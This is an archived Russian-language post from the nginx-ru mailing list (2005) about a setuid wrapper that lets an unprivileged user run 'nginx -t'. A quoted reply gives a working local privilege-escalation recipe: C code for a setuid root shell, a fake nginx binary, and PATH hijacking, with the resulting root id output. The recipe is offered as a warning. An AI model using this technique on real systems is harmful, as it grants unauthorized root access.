ПРОЕКТЫ 


  АРХИВ 


Apache-Talk @lexa.ru 

Inet-Admins @info.east.ru 

Filmscanners @halftone.co.uk 

Security-alerts @yandex-team.ru 

nginx-ru @sysoev.ru 


  СТАТЬИ 


  ПЕРСОНАЛЬНОЕ 


  ПРОГРАММЫ 



ПИШИТЕ
ПИСЬМА












     АРХИВ :: nginx-ru
Nginx-ru mailing list archive (nginx-ru@sysoev.ru)

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

Re: Проверить конфигурацию непривелегированным пользователем



On Friday 02 September 2005 17:24, L0rda wrote:
> Andrei Nigmatulin wrote:
> >Хотя, для себя я проблему решил - setuid binary, исполняющий "nginx -t"
> > ;-)
>
> Гхм.. не советую;)
> а потом кто-то сделает так:
>
> cat>sh.c<<EOF
> #include <sys/types.h>
> #include <unistd.h>
> main() {
>  setuid(0);
>  setgid(0);
>  system("/bin/sh");
> }
> EOF
> cat>nginx.c<<EOF
> #include <sys/types.h>
> #include <unistd.h>
> main() {
>  system("/bin/chown root:root /tmp/sh;/bin/chmod +s /tmp/sh");
> }
> EOF
> gcc -o sh sh.c
> gcc -o nginx nginx.c
> export PATH=`pwd`
> vash_setuid_binary &
> export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
> ./sh
> # id
> uid=0(root) gid=0(root) groups=0(root)
>
> и никаких переполнений буфера 8)

Нет, мой - не исполняет sh

#include <unistd.h>

int main()
{
    setuid(0);
    execl("/home/nginx/sbin/nginx", "/home/nginx/sbin/nginx", "-t", 0);
}

По-моему это вполне безопасно

-- 
Andrei Nigmatulin
GPG PUB KEY 6449830D

No Microsoft products were used in any way
for the creation of this message. If you are
using a Microsoft product to view it, BEWARE!
I'm not responsible for any harm you might
encounter as a result.





 




Copyright © Lexa Software, 1996-2009.